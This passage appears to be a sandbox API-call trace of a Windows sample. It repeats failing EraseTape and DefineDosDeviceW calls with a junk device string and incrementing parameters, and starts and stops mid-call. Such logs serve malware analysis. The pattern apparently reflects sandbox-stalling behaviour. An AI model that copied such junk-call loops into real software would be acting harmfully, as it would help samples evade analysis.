returned 0xfffffffe [0066.807] GetLastError () returned 0x57 [0066.807] EraseTape (hDevice=0x0, dwEraseType=0x6e, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x6e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () returned 0xfffffffe [0066.807] GetLastError () returned 0x57 [0066.807] EraseTape (hDevice=0x0, dwEraseType=0x6f, bImmediate=0) returned 0x6 [0066.807] DefineDosDeviceW (dwFlags=0x6f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.807] GetLastError () returned 0x57 [0066.807] GetCurrentThread () returned 0xfffffffe [0066.808] GetLastError () returned 0x57 [0066.808] EraseTape (hDevice=0x0, dwEraseType=0x70, bImmediate=0) returned 0x6 [0066.808] DefineDosDeviceW (dwFlags=0x70, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.808] GetLastError () returned 0x57 [0066.808] GetCurrentThread () returned 0xfffffffe [0066.808] GetLastError () returned 0x57 [0066.808] EraseTape (hDevice=0x0, dwEraseType=0x71, bImmediate=0) returned 0x6 [0066.808] DefineDosDeviceW (dwFlags=0x71, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.808] GetLastError () returned 0x57 [0066.808] GetCurrentThread () returned 0xfffffffe [0066.808] GetLastError () returned 0x57 [0066.808] EraseTape (hDevice=0x0, dwEraseType=0x72, bImmediate=0) returned 0x6 [0066.808] DefineDosDeviceW (dwFlags=0x72, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.808] GetLastError () returned 0x57 [0066.808] GetCurrentThread () returned 0xfffffffe [0066.808] GetLastError () returned 0x57 [0066.808] EraseTape (hDevice=0x0, dwEraseType=0x73, bImmediate=0) returned 0x6 [0066.808] DefineDosDeviceW (dwFlags=0x73, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.808] GetLastError () returned 0x57 [0066.808] GetCurrentThread () returned 0xfffffffe [0066.808] GetLastError () returned 0x57 [0066.808] EraseTape (hDevice=0x0, dwEraseType=0x74, bImmediate=0) returned 0x6 [0066.808] DefineDosDeviceW (dwFlags=0x74, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.808] GetLastError () returned 0x57 [0066.808] GetCurrentThread () returned 0xfffffffe [0066.808] GetLastError () returned 0x57 [0066.808] EraseTape (hDevice=0x0, dwEraseType=0x75, bImmediate=0) returned 0x6 [0066.808] DefineDosDeviceW (dwFlags=0x75, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.809] GetLastError () returned 0x57 [0066.809] GetCurrentThread () returned 0xfffffffe [0066.809] GetLastError () returned 0x57 [0066.809] EraseTape (hDevice=0x0, dwEraseType=0x76, bImmediate=0) returned 0x6 [0066.809] DefineDosDeviceW (dwFlags=0x76, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.809] GetLastError () returned 0x57 [0066.809] GetCurrentThread () returned 0xfffffffe [0066.809] GetLastError () returned 0x57 [0066.809] EraseTape (hDevice=0x0, dwEraseType=0x77, bImmediate=0) returned 0x6 [0066.809] DefineDosDeviceW (dwFlags=0x77, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.809] GetLastError () returned 0x57 [0066.809] GetCurrentThread () returned 0xfffffffe [0066.809] GetLastError () returned 0x57 [0066.809] EraseTape (hDevice=0x0, dwEraseType=0x78, bImmediate=0) returned 0x6 [0066.809] DefineDosDeviceW (dwFlags=0x78, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.809] GetLastError () returned 0x57 [0066.809] GetCurrentThread () returned 0xfffffffe [0066.809] GetLastError () returned 0x57 [0066.809] EraseTape (hDevice=0x0, dwEraseType=0x79, bImmediate=0) returned 0x6 [0066.809] DefineDosDeviceW (dwFlags=0x79, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.809] GetLastError () returned 0x57 [0066.809] GetCurrentThread () returned 0xfffffffe [0066.809] GetLastError () returned 0x57 [0066.809] EraseTape (hDevice=0x0, dwEraseType=0x7a, bImmediate=0) returned 0x6 [0066.809] DefineDosDeviceW (dwFlags=0x7a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.809] GetLastError () returned 0x57 [0066.809] GetCurrentThread () returned 0xfffffffe [0066.809] GetLastError () returned 0x57 [0066.809] EraseTape (hDevice=0x0, dwEraseType=0x7b, bImmediate=0) returned 0x6 [0066.809] DefineDosDeviceW (dwFlags=0x7b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.809] GetLastError () returned 0x57 [0066.809] GetCurrentThread () returned 0xfffffffe [0066.809] GetLastError () returned 0x57 [0066.809] EraseTape (hDevice=0x0, dwEraseType=0x7c, bImmediate=0) returned 0x6 [0066.809] DefineDosDeviceW (dwFlags=0x7c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.809] GetLastError () returned 0x57 [0066.809] GetCurrentThread () returned 0xfffffffe [0066.809] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x7d, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x7d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.810] GetCurrentThread () returned 0xfffffffe [0066.810] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x7e, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x7e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.810] GetCurrentThread () returned 0xfffffffe [0066.810] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x7f, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x7f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.810] GetCurrentThread () returned 0xfffffffe [0066.810] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x80, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x80, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.810] GetCurrentThread () returned 0xfffffffe [0066.810] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x81, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x81, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.810] GetCurrentThread () returned 0xfffffffe [0066.810] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x82, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x82, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.810] GetCurrentThread () returned 0xfffffffe [0066.810] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x83, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x83, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.810] GetCurrentThread () returned 0xfffffffe [0066.810] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x84, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x84, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.810] GetCurrentThread () returned 0xfffffffe [0066.810] GetLastError () returned 0x57 [0066.810] EraseTape (hDevice=0x0, dwEraseType=0x85, bImmediate=0) returned 0x6 [0066.810] DefineDosDeviceW (dwFlags=0x85, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.810] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x86, bImmediate=0) returned 0x6 [0066.811] DefineDosDeviceW (dwFlags=0x86, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.811] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x87, bImmediate=0) returned 0x6 [0066.811] DefineDosDeviceW (dwFlags=0x87, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.811] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x88, bImmediate=0) returned 0x6 [0066.811] DefineDosDeviceW (dwFlags=0x88, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.811] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x89, bImmediate=0) returned 0x6 [0066.811] DefineDosDeviceW (dwFlags=0x89, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.811] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x8a, bImmediate=0) returned 0x6 [0066.811] DefineDosDeviceW (dwFlags=0x8a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.811] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x8b, bImmediate=0) returned 0x6 [0066.811] DefineDosDeviceW (dwFlags=0x8b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.811] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x8c, bImmediate=0) returned 0x6 [0066.811] DefineDosDeviceW (dwFlags=0x8c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.811] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x8d, bImmediate=0) returned 0x6 [0066.811] DefineDosDeviceW (dwFlags=0x8d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.811] GetLastError () returned 0x57 [0066.811] GetCurrentThread () returned 0xfffffffe [0066.811] GetLastError () returned 0x57 [0066.811] EraseTape (hDevice=0x0, dwEraseType=0x8e, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x8e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.812] GetLastError () returned 0x57 [0066.812] EraseTape (hDevice=0x0, dwEraseType=0x8f, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x8f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.812] GetLastError () returned 0x57 [0066.812] EraseTape (hDevice=0x0, dwEraseType=0x90, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x90, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.812] GetLastError () returned 0x57 [0066.812] EraseTape (hDevice=0x0, dwEraseType=0x91, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x91, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.812] GetLastError () returned 0x57 [0066.812] EraseTape (hDevice=0x0, dwEraseType=0x92, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x92, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.812] GetLastError () returned 0x57 [0066.812] EraseTape (hDevice=0x0, dwEraseType=0x93, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x93, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.812] GetLastError () returned 0x57 [0066.812] EraseTape (hDevice=0x0, dwEraseType=0x94, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x94, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.812] GetLastError () returned 0x57 [0066.812] EraseTape (hDevice=0x0, dwEraseType=0x95, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x95, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.812] GetLastError () returned 0x57 [0066.812] EraseTape (hDevice=0x0, dwEraseType=0x96, bImmediate=0) returned 0x6 [0066.812] DefineDosDeviceW (dwFlags=0x96, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.812] GetLastError () returned 0x57 [0066.812] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x97, bImmediate=0) returned 0x6 [0066.813] DefineDosDeviceW (dwFlags=0x97, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.813] GetLastError () returned 0x57 [0066.813] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x98, bImmediate=0) returned 0x6 [0066.813] DefineDosDeviceW (dwFlags=0x98, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.813] GetLastError () returned 0x57 [0066.813] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x99, bImmediate=0) returned 0x6 [0066.813] DefineDosDeviceW (dwFlags=0x99, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.813] GetLastError () returned 0x57 [0066.813] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x9a, bImmediate=0) returned 0x6 [0066.813] DefineDosDeviceW (dwFlags=0x9a, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.813] GetLastError () returned 0x57 [0066.813] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x9b, bImmediate=0) returned 0x6 [0066.813] DefineDosDeviceW (dwFlags=0x9b, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.813] GetLastError () returned 0x57 [0066.813] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x9c, bImmediate=0) returned 0x6 [0066.813] DefineDosDeviceW (dwFlags=0x9c, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.813] GetLastError () returned 0x57 [0066.813] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x9d, bImmediate=0) returned 0x6 [0066.813] DefineDosDeviceW (dwFlags=0x9d, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.813] GetLastError () returned 0x57 [0066.813] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x9e, bImmediate=0) returned 0x6 [0066.813] DefineDosDeviceW (dwFlags=0x9e, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.813] GetLastError () returned 0x57 [0066.813] GetCurrentThread () returned 0xfffffffe [0066.813] GetLastError () returned 0x57 [0066.813] EraseTape (hDevice=0x0, dwEraseType=0x9f, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0x9f, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.814] GetCurrentThread () returned 0xfffffffe [0066.814] GetLastError () returned 0x57 [0066.814] EraseTape (hDevice=0x0, dwEraseType=0xa0, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0xa0, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.814] GetCurrentThread () returned 0xfffffffe [0066.814] GetLastError () returned 0x57 [0066.814] EraseTape (hDevice=0x0, dwEraseType=0xa1, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0xa1, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.814] GetCurrentThread () returned 0xfffffffe [0066.814] GetLastError () returned 0x57 [0066.814] EraseTape (hDevice=0x0, dwEraseType=0xa2, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0xa2, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.814] GetCurrentThread () returned 0xfffffffe [0066.814] GetLastError () returned 0x57 [0066.814] EraseTape (hDevice=0x0, dwEraseType=0xa3, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0xa3, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.814] GetCurrentThread () returned 0xfffffffe [0066.814] GetLastError () returned 0x57 [0066.814] EraseTape (hDevice=0x0, dwEraseType=0xa4, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0xa4, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.814] GetCurrentThread () returned 0xfffffffe [0066.814] GetLastError () returned 0x57 [0066.814] EraseTape (hDevice=0x0, dwEraseType=0xa5, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0xa5, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.814] GetCurrentThread () returned 0xfffffffe [0066.814] GetLastError () returned 0x57 [0066.814] EraseTape (hDevice=0x0, dwEraseType=0xa6, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0xa6, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.814] GetCurrentThread () returned 0xfffffffe [0066.814] GetLastError () returned 0x57 [0066.814] EraseTape (hDevice=0x0, dwEraseType=0xa7, bImmediate=0) returned 0x6 [0066.814] DefineDosDeviceW (dwFlags=0xa7, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.814] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xa8, bImmediate=0) returned 0x6 [0066.815] DefineDosDeviceW (dwFlags=0xa8, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.815] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xa9, bImmediate=0) returned 0x6 [0066.815] DefineDosDeviceW (dwFlags=0xa9, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.815] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xaa, bImmediate=0) returned 0x6 [0066.815] DefineDosDeviceW (dwFlags=0xaa, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.815] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xab, bImmediate=0) returned 0x6 [0066.815] DefineDosDeviceW (dwFlags=0xab, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.815] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xac, bImmediate=0) returned 0x6 [0066.815] DefineDosDeviceW (dwFlags=0xac, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.815] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xad, bImmediate=0) returned 0x6 [0066.815] DefineDosDeviceW (dwFlags=0xad, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.815] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xae, bImmediate=0) returned 0x6 [0066.815] DefineDosDeviceW (dwFlags=0xae, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.815] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xaf, bImmediate=0) returned 0x6 [0066.815] DefineDosDeviceW (dwFlags=0xaf, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.815] GetLastError () returned 0x57 [0066.815] GetCurrentThread () returned 0xfffffffe [0066.815] GetLastError () returned 0x57 [0066.815] EraseTape (hDevice=0x0, dwEraseType=0xb0, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb0, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.816] EraseTape (hDevice=0x0, dwEraseType=0xb1, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb1, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.816] EraseTape (hDevice=0x0, dwEraseType=0xb2, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb2, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.816] EraseTape (hDevice=0x0, dwEraseType=0xb3, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb3, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.816] EraseTape (hDevice=0x0, dwEraseType=0xb4, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb4, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.816] EraseTape (hDevice=0x0, dwEraseType=0xb5, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb5, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.816] EraseTape (hDevice=0x0, dwEraseType=0xb6, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb6, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.816] EraseTape (hDevice=0x0, dwEraseType=0xb7, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb7, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.816] EraseTape (hDevice=0x0, dwEraseType=0xb8, bImmediate=0) returned 0x6 [0066.816] DefineDosDeviceW (dwFlags=0xb8, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.816] GetLastError () returned 0x57 [0066.816] GetCurrentThread () returned 0xfffffffe [0066.816] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xb9, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xb9, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.817] GetLastError () returned 0x57 [0066.817] GetCurrentThread () returned 0xfffffffe [0066.817] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xba, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xba, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.817] GetLastError () returned 0x57 [0066.817] GetCurrentThread () returned 0xfffffffe [0066.817] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xbb, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xbb, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.817] GetLastError () returned 0x57 [0066.817] GetCurrentThread () returned 0xfffffffe [0066.817] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xbc, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xbc, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.817] GetLastError () returned 0x57 [0066.817] GetCurrentThread () returned 0xfffffffe [0066.817] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xbd, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xbd, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.817] GetLastError () returned 0x57 [0066.817] GetCurrentThread () returned 0xfffffffe [0066.817] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xbe, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xbe, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.817] GetLastError () returned 0x57 [0066.817] GetCurrentThread () returned 0xfffffffe [0066.817] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xbf, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xbf, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.817] GetLastError () returned 0x57 [0066.817] GetCurrentThread () returned 0xfffffffe [0066.817] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xc0, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xc0, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.817] GetLastError () returned 0x57 [0066.817] GetCurrentThread () returned 0xfffffffe [0066.817] GetLastError () returned 0x57 [0066.817] EraseTape (hDevice=0x0, dwEraseType=0xc1, bImmediate=0) returned 0x6 [0066.817] DefineDosDeviceW (dwFlags=0xc1, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xc2, bImmediate=0) returned 0x6 [0066.818] DefineDosDeviceW (dwFlags=0xc2, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xc3, bImmediate=0) returned 0x6 [0066.818] DefineDosDeviceW (dwFlags=0xc3, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xc4, bImmediate=0) returned 0x6 [0066.818] DefineDosDeviceW (dwFlags=0xc4, lpDeviceName=0x0, lpTargetPath="GVSDFSD") returned 0 [0066.818] GetLastError () returned 0x57 [0066.818] GetCurrentThread () returned 0xfffffffe [0066.818] GetLastError () returned 0x57 [0066.818] EraseTape (hDevice=0x0, dwEraseType=0xc5, bImmediate=0) returned 0x6 [0066.818] DefineDosDeviceW (dwFlags=0xc5, 